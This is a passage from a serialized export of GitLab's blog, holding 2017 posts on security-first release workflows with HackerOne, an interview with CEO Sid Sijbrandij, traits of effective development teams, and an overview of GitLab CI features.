[@jeffkelsey](https://twitter.com/jeffkelsey).\n",[2705,110,4772],{"slug":35663,"featured":6,"template":678},"continuous-integration-ticketmaster","content:en-us:blog:continuous-integration-ticketmaster.yml","Continuous Integration Ticketmaster","en-us/blog/continuous-integration-ticketmaster.yml","en-us/blog/continuous-integration-ticketmaster",{"_path":35669,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":35670,"content":35675,"config":35680,"_id":35682,"_type":16,"title":35683,"_source":17,"_file":35684,"_stem":35685,"_extension":20},"/en-us/blog/speed-security-quality-with-hackerone",{"title":35671,"description":35672,"ogTitle":35671,"ogDescription":35672,"noIndex":6,"ogImage":12944,"ogUrl":35673,"ogSiteName":1180,"ogType":1181,"canonicalUrls":35673,"schema":35674},"Workflow tips to ship faster without sacrificing security or quality","We partnered up with HackerOne to explain how to ship faster with a security-first development mindset. Watch the recording and check out the slides here.","https://about.gitlab.com/blog/speed-security-quality-with-hackerone","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Workflow tips to ship faster without sacrificing security or quality\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Erica Lindberg\"}],\n        \"datePublished\": \"2017-06-05\",\n      }",{"title":35671,"description":35672,"authors":35676,"heroImage":12944,"date":35677,"body":35678,"category":6634,"tags":35679},[28961],"2017-06-05","\n\n[Release early and often](/blog/release-early-release-often/),\nrespond quickly to customer feedback, iterate. Rinse, repeat.\nThe value of getting new features and products in front of customers faster has made\nits mark on the business world. As a result, development teams are under pressure\nto shorten release cycles and meet tighter deadlines all while maintaining high\nquality and security standards. How do experienced teams do it?\n\n\u003C!-- more -->\n\nAccelerating the development lifecycle without cutting corners is no easy feat but\nit can be done. While there's no \"silver bullet\" solution, adopting a security-first\nmindset and a few workflow best practices can help.\n\nWatch the our webcast with HackerOne below to get all the details on how you can build in quality and\nsecurity checks throughout your development lifecycle from GitLab's Product Manager, [Victor Wu](/company/team/#victorwu416),\nand GitLab Security Lead, [Brian Neel](/company/team/#b0bby_tables).\n\nYou can watch the recording, check out the slides, and read a few of the highlights\nbelow.\n\n## Security as a first-class citizen\n\nEnsuring every line of code is secure is a shared responsibility, meaning security\nshould be top of mind from the very beginning of the development process. Don't wait\nuntil the very end to start the conversation around security and check for vulnerabilities.\n\n> \"We want to take security and make it a first-class citizen. You want security controls\nbaked into each stage of your development process. When we develop software and we\ndevelop in small chunks, we always say we want cross-functional collaboration.\nWe want people at the table earlier on.\" - Victor Wu, Product Manager, GitLab\n\nWhether you have dedicated security experts, or perhaps a lead engineer who's wearing\nmultiple hats, talk about security from the get go so that security issues\ncan be identified earlier, and vulnerabilities can be avoided altogether.\n\n## Workflow best practices\n\nIn the webcast, Victor details how DevOps teams can bake quality and security controls\ninto their workflows so that these checks don't become cumbersome bottlenecks at the\nvery end of the process.\n\nHere are a couple of his highlights:\n\n### Make smaller changes and commit often.\n\nPerhaps the most critical adjustments to make to your workflow is how you actually write\nand collaborate on code. When we talk about development speed, a big part of this is transitioning\naway from developing huge portions of code over long periods of time to making smaller changes more often\nand making that work visible sooner.\n\n> \"We want to ship smaller pieces, often. Whether it's in an agile context, scrum,\nor moving away from the more traditional waterfall requirements, we want to ship\nin small pieces so we can react more quickly and minimize risk.\" - Victor\n\nBy adopting this practice, it's quicker to perform code reviews and\nsecurity checks because reviewers are only dealing with a couple of changes. Then,\nif there is an issue, it becomes much easier to identify the cause because there\nare fewer new variables to consider.\n\n### Involve experts and reviewers early in the development process.\n\nInvolving collaborators and reviewers earlier in the development process does two things.\nFirst, it can speed up the development process by giving stakeholders an opportunity\nto anticipate problems *before* developers begin to write code, and nip them in the bud.\nIt's common to involve your UX team, product managers, and software architects during the\nplanning phase and throughout the code review process, but often security is left out.\n\nGet your security experts involved in the earlier phases of your development process\nso it doesn't become a bottleneck right before you're trying to release.\n\n> \"Let's get our UX folks early on, let's get our business managers involved early on.\nLet's not wait until very late in the game before we bring our product managers,\nsenior engineers, our architect, and security experts.\" - Victor\n\nSecondly, by keeping all stakeholders involved in the conversation throughout the\ndevelopment process, you can ensure that by the time the code is ready to move\ninto production, most errors have been spotted and corrected.\n\n### Get code into staging or test environments earlier.\n\nThis goes back to the high-level concept that we want to work on small pieces of code and get\nthem integrated into the mainline branch right away to minimize the risk of something not working,\nor not accounting for certain things.\n\n\"The point of pushing code into production-like environments is to get your feature into a place that looks\nand functions more like the real world,\" says Victor. Getting your code into staging or test environments sooner\ncan also help to minimize security risks.\n\n> \"You might have certain tools to scan dynamically and inject attacks into\nyour systems, whether that might be directly into your data or your code base.\nIn the same way that you have human testers doing manual testing, in addition to the automated testing,\nyou might have human users doing the security testing as well.\" - Victor\n\nAgain, if you're developing in small chunks, involving stakeholders earlier on into those environments,\nthat they can jump into those environments and start testing the feature.\n\n### Leverage your community to spot and prioritize security issues and bugs faster.\n\nEven with all the right quality and security checks threaded throughout the development process,\nproblems can slip through. In the webcast, Security Lead, Brian Neel, details the\nevolution of the security development process (starts at 28:20) and why GitLab's security\nteam uses a bug bounty program to round out our security practices.\n\n> \"Right around the time you push a beta out to customers, you can open up a bug bounty program, and it provides\nsort of an endless coverage from prior to version 1 all the way through version 2 and into the future for any new\nvulnerabilities. You're constantly going to have professional hackers out there testing this code, testing it against new types of\nvulnerabilities.\"\n\n## Recording\n\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/9_yicOrtbqM\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\n\n## Slides\n\n\u003Ciframe src=\"//www.slideshare.net/slideshow/embed_code/key/fWsLY4ft2VvAMA\" width=\"595\" height=\"485\" frameborder=\"0\" marginwidth=\"0\" marginheight=\"0\" scrolling=\"no\" style=\"border:1px solid #CCC; border-width:1px; margin-bottom:5px; max-width: 100%;\" allowfullscreen> \u003C/iframe>\n\n",[674,1444],{"slug":35681,"featured":6,"template":678},"speed-security-quality-with-hackerone","content:en-us:blog:speed-security-quality-with-hackerone.yml","Speed Security Quality With Hackerone","en-us/blog/speed-security-quality-with-hackerone.yml","en-us/blog/speed-security-quality-with-hackerone",{"_path":35687,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":35688,"content":35694,"config":35700,"_id":35702,"_type":16,"title":35703,"_source":17,"_file":35704,"_stem":35705,"_extension":20},"/en-us/blog/pick-your-brain-interview-brandon-foo",{"title":35689,"description":35690,"ogTitle":35689,"ogDescription":35690,"noIndex":6,"ogImage":35691,"ogUrl":35692,"ogSiteName":1180,"ogType":1181,"canonicalUrls":35692,"schema":35693},"Pick Your Brain interview with CEO Sid Sijbrandij","Brandon Foo, co-founder and CEO of Polymail (YC S16), recently sat down with GitLab CEO Sid Sijbrandij.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749680453/Blog/Hero%20Images/pick-your-brain-interview.jpg","https://about.gitlab.com/blog/pick-your-brain-interview-brandon-foo","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Pick Your Brain interview with CEO Sid Sijbrandij\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Brandon Foo\"}],\n        \"datePublished\": \"2017-06-02\",\n      }",{"title":35689,"description":35690,"authors":35695,"heroImage":35691,"date":35697,"body":35698,"category":8943,"tags":35699},[35696],"Brandon Foo","2017-06-02","\n\nI sat down for a “[pick your brain](/handbook/eba/ceo-scheduling/#pick-your-brain-meetings)” meeting with GitLab’s CEO and Co-founder, [Sid Sijbrandij](/company/team/#sytses), to learn about his approach towards different aspects of building a successful startup. Here are some highlights of the conversation.\n\n\u003C!-- more -->\n\n**Brandon: When you were an earlier company around your seed stage, what were your most effective growth strategies?**\n\n**Sid:** GitLab got started as a [Show HN of GitLab.com](https://news.ycombinator.com/item?id=4428278). We’ve always tried to see where our users were and talk with them there.\n\nWhen you find people who have a need for your product, you start by trying to bring it to their attention. Then you enter a phase where they care about your product, and they start asking you for more — that’s easy, that’s the honeymoon phase. Now we’re getting to the phase where people think of GitLab as a given, and that it should be perfect, so they tell you the things that could be better.\n\n**Brandon: How do you think about product strategy with respect to building new features versus improving or increasing adoption of existing features?**\n\n**Sid:** It’s kind of a pendulum that swings back and forth. We focused a lot on new features for a while to accomplish our [idea to production vision](https://www.youtube.com/watch?v=PoBaY_rqeKA), and now this quarter [we’re focusing](/direction/) on increasing adoption of existing features. Mostly this is necessary for newer features, but that’s not the same as increasing the features’ scope, it’s more a question of how we can increase adoption for the features we already have, and seeing which functions are missing. When we release features and have the suspicion few people are using them, we evaluate to make sure those features are things that people can really use. Most recently in [9.2](/releases/2017/05/22/gitlab-9-2-released/) we added the framework to translate GitLab into any language, and allowed users to specify multiple assignees to better track shared ownership of an issue. [In 2017](/direction/#2017-goals), we’ll continue to ship features tailored for enterprise development teams, and make it easier to build, deploy, and monitor applications within GitLab.\n\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/WBf_DA0FF9k\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\n**Brandon: How do you balance building visionary features that people aren’t necessarily asking for vs. building in direct response to customer requests?**\n\n**Sid:** We do both. We started off doing just version control and code review, and now GitLab delivers the entire DevOps pipeline, everything from chatting about an idea and planning it, to getting it out in production and monitoring. We envision enabling everyone to collaborate on digital content, so they can work together and achieve better results. No one asked for that — it’s something we did, it’s the future of the company now. We’d have been in a bad spot if we hadn’t done that.\n\nAt the same time, don’t lose track of what your customers are asking for. Balancing that is the hard part. The natural result is too little visionary stuff; if you build the right company, then everyone will be listening to your customers and screaming, “Let’s build the things customers want!” So the leadership’s task is focusing on what we need to do in order to be a better company in five years.\n\n**Brandon: Since you bootstrapped for some time, how did you decide when it was the right time to raise institutional funding?**\n\n**Sid:** One big reason is the talent we wanted to attract. While we were in YC, we tried to hire a good sales leader, but everyone we approached wanted stock in the company. We hadn’t raised any outside money so stock was all mine and my co-founder [Dmitriy’s](/company/team/#dzaporozhets) — he started GitLab and I started GitLab.com.\n\nThis made clear that if we were unable to give out stock, we were not going to hire the best people; if we’re not getting the best people, we’re going to lose in the marketplace. If you give people stock while not taking outside money, you’ll still grow but very slowly, which is not the kind of deal these executives were expecting. They expect that after 6-7 years the stock is worth something and they can get liquid. The only way to get there is to attract external capital.\n\n**Brandon: Is there anything that you would change in retrospect that you think might improve the outcome of where GitLab is today?**\n\n**Sid:** In hindsight, I’d rather have started GitLab.com a bit later. We’ve grown so fast since then that we’ve been behind in making a great experience for our users.\n\nI would focus on people running GitLab self-managed, and start GitLab.com when we were ready for it. I’d rather have people not use our product than using the product and not being absolutely happy about it. It’s not about users, it’s about happy users.\n\nIf not 100% of the users are happy, we’re not doing a good enough job.\n\n## About the Guest Author\n\nBrandon Foo is the Co-founder and CEO of [Polymail](https://polymail.io/), an email productivity platform designed for modern teams and companies.\n",[3949,10921,676],{"slug":35701,"featured":6,"template":678},"pick-your-brain-interview-brandon-foo","content:en-us:blog:pick-your-brain-interview-brandon-foo.yml","Pick Your Brain Interview Brandon Foo","en-us/blog/pick-your-brain-interview-brandon-foo.yml","en-us/blog/pick-your-brain-interview-brandon-foo",{"_path":35707,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":35708,"content":35714,"config":35718,"_id":35720,"_type":16,"title":35721,"_source":17,"_file":35722,"_stem":35723,"_extension":20},"/en-us/blog/attributes-of-successful-development-teams",{"title":35709,"description":35710,"ogTitle":35709,"ogDescription":35710,"noIndex":6,"ogImage":35711,"ogUrl":35712,"ogSiteName":1180,"ogType":1181,"canonicalUrls":35712,"schema":35713},"9 Attributes of successful development teams","What makes a good development team? Here's what we think.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749671496/Blog/Hero%20Images/attributes-successful-dev-teams.jpg","https://about.gitlab.com/blog/attributes-of-successful-development-teams","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"9 Attributes of successful development teams\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Rebecca Dodd\"}],\n        \"datePublished\": \"2017-05-23\",\n      }",{"title":35709,"description":35710,"authors":35715,"heroImage":35711,"date":35716,"body":35717,"category":6634},[19026],"2017-05-23","\n\nNot all development teams work the same way, but there are some values, processes and attitudes that all successful teams share.\n\n\u003C!-- more -->\n\n## 1. They automate everything\n\nThere’s no substitute for the work of the human brain, but by automating some of the more time-consuming (and sometimes tedious) aspects of a developer’s job, you not only free up time that could be spent on other, more creative tasks, but you ensure that your software development process is easily repeatable, and consistent every release cycle. “We have a big release every month,” says GitLab Platform Backend Lead, [Douwe Maan](/company/team/#DouweM), “but we have numerous patch releases. We have tons of scripts in our release tools repository that automate that so that we don’t miss little bits and so that it’s identical and reproducible every time.” Automation also means doing things like leveraging [continuous integration](/solutions/continuous-integration/) to run scripts, so a portion of your code review is taken over, offloading work that would otherwise be done manually.\n\n## 2. They’re meticulous about documentation\n\n“Documentation of processes and guidelines is a way of kind of scripting or automating your team’s behavior,” explains Douwe. Because we’re a distributed team, it’s important that if a question comes up often, that there’s somewhere people can find what they need without having to wait for team members in other time zones to come online and answer a question – this saves time not just for the person with the question, but for others who are spared answering the same questions over and over. “If people on my team have a certain question or things that are blocking them repeatedly, that probably means it’s something we should either document better or invent a process around,” says Douwe.\n\n“As a consequence of that, for example, we have the process around getting merge requests and issues into a patch release when it’s a regression or security issue and so on. At one point we had so few people that we could just say, ‘Hey that needs to go into the patch release,’ but of course as the team grows, that doesn’t scale anymore, because you’d have 20 people asking one person. To address that we invented the process around labels, where we use labels and milestones very heavily in GitLab to signal to people what has to happen with an issue.”\n\n## 3. They use collaboration tools\n\nHaving space for comments, questions or suggestions at each stage of the cycle is critical for fostering collaboration and making sure that everyone can follow the latest progress of a project. “For us, the single source of truth is always the [issue](/stages-devops-lifecycle/issueboard/). Tools like labels, milestones, assigning to people, these all make sure that the right person knows when it’s their turn to do something, and the handoff happens through issue comments,” explains Douwe. This is another area in which we’ve had to become disciplined about documenting the latest update on an issue, because as a distributed team we can’t just walk over to a colleague’s desk to check something. “We don’t have the problem where after two days people will be like, ‘Hmm, what did we decide again?’” says Douwe. Discussion takes place right in the same environment where we’re working – whether it’s a comment on an issue or a merge request or an inline question on the code itself – so it’s easy for everyone to see the context for it and to refer back to it later.\n\n## 4. They use integrated platforms\n\nHaving all your software development tools in one environment reduces context-switching, tiresome maintenance when APIs change, and administrative complexity. It also makes the development process smoother, as an integrated tool often offers shortcuts within the UI that would not exist if you were using two separate products.\n\nDouwe explains: “For a long time GitLab CI used to be a separately deployed web application: the UIs were not integrated in any way and they felt like separate products, as if they were not even made by the same company. At one point we decided to integrate it, and literally within one or two weeks we started seeing new possibilities of interlinking these applications. We’d think, ‘Hey, wouldn’t it be neat if we added a button to the latest status of this page?’ which previously is something we never would have thought about, because we really thought of the two as separate products that need to talk over an established channel, instead of just putting a link in everywhere where it would useful to have a link to CI. So with a built-in solution, the integration you get is not just tighter, it’s integrated in ways which other, separate products being developed by siloed development teams would never think of. We’re not just approaching it as an issue tracker, a code review tool or a CI tool, we’re seeing it as a development environment.”\n\n## 5. They version control everything\n\nUsing [version control](/topics/version-control/) for source code is widely accepted as a good idea, but it’s useful for a number of other purposes too. Take documentation, for example: if you use a wiki, there is no concept of a merge request. “There’s no way of suggesting an improvement without immediately making it,” says Douwe, “so what that means is that in a lot of places that use a wiki, changing it is kind of scary.” This creates a feeling that suggesting updates or improvements is for senior team members only, and discourages participation and collaboration on the documentation. \"Using source control here means that even the most junior person who’s like, ‘Hmm, I spotted a typo here,’ or ‘Hey, this wasn’t super clear, let’s do it like this,’ won’t be hesitant to bring up that suggestion.\" Having time to write a merge request that clearly outlines the advantages of what they're proposing makes it less intimidating to suggest a change. \"It really makes the documentation, similar to the source code, an open source and living document that everyone can contribute to.\" The same principle applies to things like your CI/CD configuration, tests, and infrastructure code.\n\nImproved collaboration and learning opportunities aren’t the only benefits of using version control for things beyond your source code: the ability to roll back in the event of something breaking, and to pinpoint where a bug was introduced are advantages both in that it’s easier to fix something, but also in that team members feel freer to experiment without the fear of causing irreparable damage if something breaks.\n\n## 6. They make it easy for everyone to contribute\n\nBy opening up your development platform, other team members can discover, contribute to and learn from other team members’ work. “If you hide your CI configuration in an area that can only be accessed by the masters of the project, that means that very few developers on the team and especially very few developers on other teams will ever see that config,” says Douwe. “You really shouldn’t see your code as just a product of your team, you should also see it as a resource for everyone else in the company. If you ask a developer how they learned to code, most of them will not mention university or this book that they read, most of them will mention ‘code I read that was written by people who have more experience than me.’ So by giving them access to as much code as you can, that will actually make them better coders than if you have them work in a silo.”\n\n> If you ask a developer how they learned to code, most of them will not mention university or this book that they read, most of them will mention \"code I read that was written by people who have more experience than me.\"\n\nThis isn’t just about less experienced developers learning from more experienced developers. Sometimes a fresh perspective from someone who isn’t as close to a project can spark solutions that aren’t apparent when you’ve been deep inside the code for a week. “Like if someone reads code and they ask a question like ‘Hey, what’s the reasoning behind this? I just found your code and I was wondering…’ it enables a conversation.” Douwe explains. “It helps us avoid [Not Invented Here syndrome](https://en.wikipedia.org/wiki/Not_invented_here).” Someone from another team might have already done work you require on a previous project of theirs – why not use it on your team? “It’s working together to make all of our code better, because if we use a shared library – even if it’s just a company internal one, like innersourcing – if one person improves it or fixes a bug or increases the functionality of that application, that’s work by one person that will immediately affect all the different teams.”\n\n## 7. They spend time on side projects\n\n“We don’t have explicit [20 percent time](https://googleblog.blogspot.co.uk/2006/05/googles-20-percent-time-in-action.html),” says Douwe, “but at GitLab, as we are working on improving the same platform we use to do all our work, our job is to make our own job easier. Which means that even if something is not scheduled for this release, if it’s something that you think you can get done in couple hours, and it would save you more than a couple hours in the future, just do it.”\n\nSometimes going through the formal process for approving time to work on a new feature just isn’t necessary. “Unless you have something urgent you should be working on, it really helps to ask developers to feel responsible for the product, and also own the product in the sense that they can also suggest new features, and even spearhead the development of them without going through product management for example,” says Douwe.\n\n## 8. They make code review collaborative\n\nHaving your work reviewed can feel like a personal judgement on whether you’re good enough or not. When code review is about “This is wrong, change it to this,” it can be really demotivating. Douwe explains: “A much better way, even if it seems like something is obviously wrong, would be to ask, ‘What do you think about changing to this/Did you consider X, Y, Z/I suggest changing it to this, if you think that makes sense.’ The communication there really helps and it also means that people don’t feel review is the time where they as person are being told if their work is good enough, if they are good enough, it’s really just talking about the actual code, the implementation, the best way to solve a problem.” Everyone on a team is free to review each other’s code or to ask for a review, so it becomes about just improving the merge request instead of passing a judgement about that person’s work. “If review feels like something that’s just done by the higher-up people and it’s a time when your code is deemed perfect or not, it might feel kind of scary to review someone’s code, especially if that someone is more experienced than you or has more experience in this area of the application. What really helps with collaboration is having everyone feel free to question each other’s code or question, ‘Is this the best way to go about this?’ without saying ‘This is wrong.’”\n\n## 9. They’re allowed to be creative\n\nProblem solving is what developers do. So if a customer has a request for some feature that they would find useful, it can be helpful to ask the team to solve the problem the customer is experiencing, rather than presenting them with a spec which might not be the optimal solution. “In a lot of cases developers are aware of solutions either that already exist within the codebase or that exist in other people’s codebases because of innersourcing, or they might even have just read about this cool, open source tool, which a product manager might not be aware of,” says Douwe. “So allowing developers to be really critical of the proposal and having product managers not be too rigid in their specs also gives you better code and makes for happier developers.” This can also help you to build features that don’t just address one particular customer’s problem and fix it the way they would like, but rather work on solutions that can be useful to everyone.\n\nTo learn more about what makes development teams successful today, watch our webcast, \"[Managing the DevOps Culture Shift](http://get.gitlab.com/managing-devops-culture-shift/)\" on demand.\n{: .alert .alert-gitlab-orange}\n",{"slug":35719,"featured":6,"template":678},"attributes-of-successful-development-teams","content:en-us:blog:attributes-of-successful-development-teams.yml","Attributes Of Successful Development Teams","en-us/blog/attributes-of-successful-development-teams.yml","en-us/blog/attributes-of-successful-development-teams",{"_path":35725,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":35726,"content":35732,"config":35737,"_id":35739,"_type":16,"title":35740,"_source":17,"_file":35741,"_stem":35742,"_extension":20},"/en-us/blog/fast-and-natural-continuous-integration-with-gitlab-ci",{"title":35727,"description":35728,"ogTitle":35727,"ogDescription":35728,"noIndex":6,"ogImage":35729,"ogUrl":35730,"ogSiteName":1180,"ogType":1181,"canonicalUrls":35730,"schema":35731},"Fast and natural continuous integration with GitLab CI","An overview of GitLab Continuous Integration and Delivery, and the main features of the tool.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749684106/Blog/Hero%20Images/fast-and-natural-continuous-integration-with-gitlab-ci.jpg","https://about.gitlab.com/blog/fast-and-natural-continuous-integration-with-gitlab-ci","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Fast and natural continuous integration with GitLab CI\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Samuel Alfageme\"}],\n        \"datePublished\": \"2017-05-22\",\n      }",{"title":35727,"description":35728,"authors":35733,"heroImage":35729,"date":35735,"body":35736,"category":734},[35734],"Samuel Alfageme","2017-05-22","\nDo you use GitLab to store your repos? Have you ever stopped to check what some of those tabs on top of your repositories do? Well, you can either disable those in your project settings, or you can keep reading to discover some ways in which they can help you power up your development speed.\n\n\u003C!-- more -->\n\n![what do these tabs do?](https://about.gitlab.com/images/blogimages/fast-and-natural-continuous-integration-with-gitlab-ci/your-awesome-project.png){: .shadow}\u003Cbr>\n\nThis post aims to offer a high-level overview of how GitLab has interpreted the main concepts of Continuous Integration/Delivery and introduce the main features of the tool as well as their naming conventions, as it can sound more overwhelming than it actually is.\n\nThe product’s growth has made it present on many companies’ tech stacks. Part of this popularity comes from being indeed a great open-source project to follow, its release cycle is blazing fast and it’s delivering new features every month on the 22nd. One of the most important factors of this equation is the fact that it’s not only a self-managed solution that enables you to have all your projects under control, but also a pretty solid one. Just ask your reference ops for his opinion on how even the community (non-commercial) edition brings many stuff to the table, that were incredibly expensive or even lacking on many other SaaS products before.\n\n![integrated development tools](https://about.gitlab.com/images/blogimages/fast-and-natural-continuous-integration-with-gitlab-ci/idea-to-production-graphics.png){: .shadow}\u003Cbr>\n\nIt sometimes happens that we simply stick to well-known tools for us and won’t notice or research alternatives that may improve our everyday work. I believe this to be the case with some of the GitLab’s lesser-known features. The software is much more than a traditional VCS server. In fact, last year they came up with the idea of their so-called “masterplan” to extend the product to be more like a “suite” and cover every step of the development cycle, or in their words: go from [idea to production](/blog/continuous-integration-delivery-and-deployment-with-gitlab/#from-idea-to-production-with-gitlab). And in both previous and [future](/direction/) releases, they are bundling some really cool additional integrations worth checking (e.g. Mattermost ChatOps or Prometheus monitoring).\n\n### Differences with other continuous integration tools\n\nLet’s start getting the full picture of the features that make it so powerful. First of all, its model is based on a lightweight YAML configuration file stored in each repository’s root. This has some pros worth to mention along with the rest:\n\n1. Tightly coupled systems (both Continuous Integration and VCS are a single product).\n2. The Continuous Integration configuration becomes versioned:\n   * Enforcing different branches with different configurations.\n   * Allowing contributors to also collaborate in the integration setup.\n3. Docker integration out of the box, including private docker registry per project.\n4. Artifacts browser that allows to access the stages output the same way you’d do locally.\n5. No nightmare maintenance time of the CI server.\n\nOf course, from the user’s point of view, it also comes with some drawbacks compared to other Continuous Integration systems, since it embraces a “convention over configuration” model, which means you get a pretty powerful tool without having to spend your time configuring it while you stick to its way of doing things. The lack of plug-ins and integrations we are used to seeing in other tools to fine-grain configure some aspects of the project is one of them (e.g. creating jobs that require multiple repositories becomes non-trivial). On the other hand, most use-cases are covered enough and features like configurable email alerts, history browser or programmable builds, you have them all.\n\nBut let’s be clear, they neither have invented the wheel nor are the only ones using it. Many other Continuous Integration software solutions also lay in similar paradigms (.travis.yml, Jenkinsfiles…). This is all a matter of taste. The strongest feeling you get after using different solutions is that GitLab’s is easier to configure plus it allows having most details under control in the same browser tab. They took some of the best features of every tool and bundled them into this solution. It makes complete sense.\n\n### Main features\n\nLet’s try to briefly illustrate the main features of this tool and demonstrate how easy it is just to get started with it even without any sysadmin experience or without bothering your DevOps. As said, everything spins around the .gitlab_ci.yml file containing the definition of the different stages (steps) that have to be completed in whole, in order to get the project successfully delivered. The [file structure](/direction/) is natural to be read and once you have seen a couple of examples, you’ll start writing your own without much effort.\n\nHead first for GitLab’s [CI docs](https://docs.gitlab.com/ee/ci/yaml/) for lots of info about how to translate the specific needs of your project into their conventions. But to summarize a review of the Continuous Integration capabilities every project has enabled by default:\n\n#### CI/CD settings\n\nThe settings page gives an overview on just how easy it is to configure everything related to what’s needed for the creation of the continuous integration magic, i.e.:\n\n#### Runners\n\nWhat if I tell you can finally forget about configuring and managing slave machines, the way they speak with the CI server through SSH, how to balance the workload between all the build machines, and many other stuff that is both tedious and often difficult? Meet the runners! [Setup](https://docs.gitlab.com/runner/install/) becomes just as easy as it is to follow the three steps described in the CI/CD settings (settings/ci_cd) on your project: install the right binary for your OS, set the URL endpoint and the registration token provided in the settings page and you are done. Also, you can tag the runners based on their capabilities (e.g. docker, databases, etc.) to select them for specific jobs when they are required.\n\nRunners can implement many executors, i.e. ways of running your build scripts/code in them; from the most basic ssh executor, through a container host and right to the biggest kubernetes cluster you can think of, supporting even Powershell/Batch in Windows systems.\n\nIn their self-managed solution, [gitlab.com](https://gitlab.com/), they also provide \"shared runners\": VMs free of charge, dynamically allocated to build your project, extremely useful for those open source projects with limited resources.\n\n#### Secrets management\n\nIn the microservices era, where your project might be integrated and talk with dozens of APIs that require tokens, secrets, passwords, and many other ways to authorize that dialog, a way to handle this complexity in an elegant manner becomes a priority. A really bad smell [seen in many projects](https://gitleaks.com/) is to store all these in config files on a remote machine or even hang around in some piece of code. To stress the importance of this, just consider how many [services](https://www.vaultproject.io/) and [projects](https://docs.docker.com/engine/swarm/secrets/) are popping up to handle this issue. GitLab projects provide a simple keystore in their Continuous Integration settings that can be accessed from the integration scripts, to help project members handle and configure all these secrets.\n\n#### Pipelines\n\nThis is the core feature of any Continuous Integration system and yet a really simple concept, that translates to all the steps you’ll follow from the moment you are facing your source code to the point in which you are about to deploy your application. In between, you can include everything you would consider to make sure your code looks right (linting), can be built, works right (testing), integrates with other systems and anything you can come up with to take the last steps and ship your code.\n\n\n![this is the core feature of any Continuous Integration system](https://about.gitlab.com/images/blogimages/fast-and-natural-continuous-integration-with-gitlab-ci/pipelines-are-a-core-feature.png){: .shadow}\u003Cbr>\n\n#### Container registry\n\nImagine having your own private Docker hub, where you can store your project’s images and update them whenever it’s needed without having to expose them to the public, and being able to pull them login from anywhere into the registry. You can have an image ready for every stage of the road and pulling them from your runners is blazing fast. This becomes super handy to avoid initializing the environment and therefore speeding up the total time the pipeline takes to run: faster builds = happier devs.\n\n#### Environments and Review Apps\n\nEveryone loves [gitflow](http://nvie.com/posts/a-successful-git-branching-model/), right? There are some good reasons for that. It’s built on the premise that if every branch is developed isolated, new features don’t interfere with each other or the stable version until they are merged back in the master branch. This helps with both developing new functionalities and testing them.\n\nWhen containers came into our lives it was obvious how the process of deploying different, independent environments with individual settings per feature could be eased and improved. It’s fair to say we now use containers as standard de facto for environment templates. Most mainstream Continuous Integration solutions were released way before the first container was even created, so they were not built with Docker in mind, but for GitLab CI it’s the other way around: they embrace containers as the way to go, based on the many benefits it brings to the workflow.\n\n![GitLab embraces containers as the way to go, based on the many benefits it brings to the workflow.](https://about.gitlab.com/images/blogimages/fast-and-natural-continuous-integration-with-gitlab-ci/environments-and-review-apps.png){: .shadow}\u003Cbr>\n\nImagine a very common scenario in the workflow: you are about to merge a feature branch that has to be tested out by the QA team, which introduces some new libraries and a new service (e.g. Redis, mongoDB…) to be deployed. Just update your Dockerfile to include the new layer(s) that manage those new dependencies and push the image to your local registry. Also, append the line to include the new service via docker hub to .gitlab_ci.yml. The feature branch, when pushed on the remote, will have everything in place to be deployed to the testing environment.\n\n![The feature branch, when pushed on the remote, will have everything in place to be deployed to the testing environment](https://about.gitlab.com/images/blogimages/fast-and-natural-continuous-integration-with-gitlab-ci/production-and-staging.png){: .shadow}\u003Cbr>\n\nThis is where [Review Apps](https://docs.gitlab.com/ee/ci/review_apps/) come into action, it’s just a posh way to call dynamic, per-branch environments created to verify changes and see them live. Every branch gets instant deploy support when pushed to the repo. This process can speed up with tools such as [dpl](https://github.com/travis-ci/dpl), that abstract many of the details for major deploy services, or go freestyle and call your custom deployment script from there. It also integrates an interactive terminal in-browser to introspect on builds to debug and troubleshoot if needed. You no longer have to go over the Jenkins’ mantra to clone a configured job, rename it, adjust the branch in the configuration… and 10 or 15 tedious steps before deploying an ephemeral test environment.\n\nAnother major feature you are going to love is the [history browser](https://docs.gitlab.com/ee/ci/environments/index.html#viewing-the-deployment-history-of-an-environment). Imagine you deployed some changes to a demo environment and 10 minutes before going live, you detect it contains a major bug that would be nasty if displayed on camera. No worries; it’s super easy to access the history of what was deployed on every environment and perform rollbacks or redeploy on-demand to any previous reproducible state. Just awesome.\n\n![it’s super easy to access the history of what was deployed on every environment](https://about.gitlab.com/images/blogimages/fast-and-natural-continuous-integration-with-gitlab-ci/history-browser.png){: .shadow}\u003Cbr>\n\nI hope after this post, the central concepts of GitLab’s Continuous Integration make good sense to you and your projects.\n\n_This post was originally published on [solidgeargroup.com](https://solidgeargroup.com/gitlab_countinuous_integration_intro)._\n\n\u003Cp class=\"alert alert-orange\" style=\"background-color: rgba(252,163,38,.3); border-color: rgba(252,163,38,.3); color: rgb(226,67,41) !important; text-align: center;\">Sign up for a &nbsp;&nbsp;\u003Ci class=\"fab fa-gitlab\" style=\"color:rgb(107,79,187); font-size:.85em\" aria-hidden=\"true\">\u003C/i> &nbsp;&nbsp;\u003Cstrong>GitLab EE Trial\u003C/strong> &nbsp;&nbsp;\u003Ci class=\"fab fa-gitlab\" style=\"color:rgb(107,79,187); font-size:.85em\" aria-hidden=\"true\">\u003C/i> 